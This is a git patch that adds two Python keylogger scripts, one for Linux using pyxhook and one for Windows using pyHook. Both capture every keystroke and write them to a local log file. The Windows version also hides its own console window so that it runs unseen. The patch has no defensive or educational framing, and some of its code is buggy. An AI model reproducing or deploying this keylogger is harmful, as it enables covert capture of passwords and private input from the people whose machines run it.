From ee079d47b617d5e40e137e5e83ef07e85035b988 Mon Sep 17 00:00:00 2001 From: jonnybravo Date: Mon, 8 May 2023 20:00:02 +0200 Subject: [PATCH] commit message from python script --- keylogger/keylogger_linux.py | 52 ++++++++++++++++++++++++++++++++++++ keylogger/keylogger_win.py | 35 ++++++++++++++++++++++++ 2 files changed, 87 insertions(+) create mode 100644 keylogger/keylogger_linux.py create mode 100644 keylogger/keylogger_win.py diff --git a/keylogger/keylogger_linux.py b/keylogger/keylogger_linux.py new file mode 100644 index 0000000..6a0a766 --- /dev/null +++ b/keylogger/keylogger_linux.py @@ -0,0 +1,52 @@ +#! /usr/bin/env python3 + +# Python code for keylogger +# to be used in linux +import os +import pyxhook + +# This tells the keylogger where the log file will go. +# You can set the file path as an environment variable ('pylogger_file'), +# or use the default ~/Desktop/file.log +log_file = os.environ.get( + 'pylogger_file', + os.path.expanduser('file.log') +) +# Allow setting the cancel key from environment args, Default: ` +cancel_key = ord( + os.environ.get( + 'pylogger_cancel', + '`' + )[0] +) + +# Allow clearing the log file on start, if pylogger_clean is defined. +if os.environ.get('pylogger_clean', None) is not None: + try: + os.remove(log_file) + except EnvironmentError: + # File does not exist, or no permissions. + pass + +#creating key pressing event and saving it into log file +def OnKeyPress(event): + with open(log_file, 'a') as f: + print("{event}".format(event=event.Key), file=f, sep="-",end="-") + #f.write('{}'.format(event.Key)) + +# create a hook manager object +new_hook = pyxhook.HookManager() +new_hook.KeyDown = OnKeyPress +# set the hook +new_hook.HookKeyboard() +try: + new_hook.start() # start the hook +except KeyboardInterrupt: + # User cancelled from command line. + pass +except Exception as ex: + # Write exceptions to the log file, for analysis later. + msg = 'Error while catching events:\n {}'.format(ex) + pyxhook.print_err(msg) + with open(log_file, 'a') as f: + f.write('\n{}'.format(msg)) \ No newline at end of file diff --git a/keylogger/keylogger_win.py b/keylogger/keylogger_win.py new file mode 100644 index 0000000..3e9295b --- /dev/null +++ b/keylogger/keylogger_win.py @@ -0,0 +1,35 @@ +#! /usr/bin/env python3 + +# Python code for keylogger +# to be used in windows +import win32api +import win32console +import win32gui +import pythoncom, pyHook + +win = win32console.GetConsoleWindow() +win32gui.ShowWindow(win, 0) + +def OnKeyboardEvent(event): + if event.Ascii==5: + _exit(1) + if event.Ascii !=0 or 8: + #open output.txt to read current keystrokes + f = open('c:\output.txt', 'r+') + buffer = f.read() + f.close() + # open output.txt to write current + new keystrokes + f = open('c:\output.txt', 'w') + keylogs = chr(event.Ascii) + if event.Ascii == 13: + keylogs = '/n' + buffer += keylogs + f.write(buffer) + f.close() +# create a hook manager object +hm = pyHook.HookManager() +hm.KeyDown = OnKeyboardEvent +# set the hook +hm.HookKeyboard() +# wait forever +pythoncom.PumpMessages() \ No newline at end of file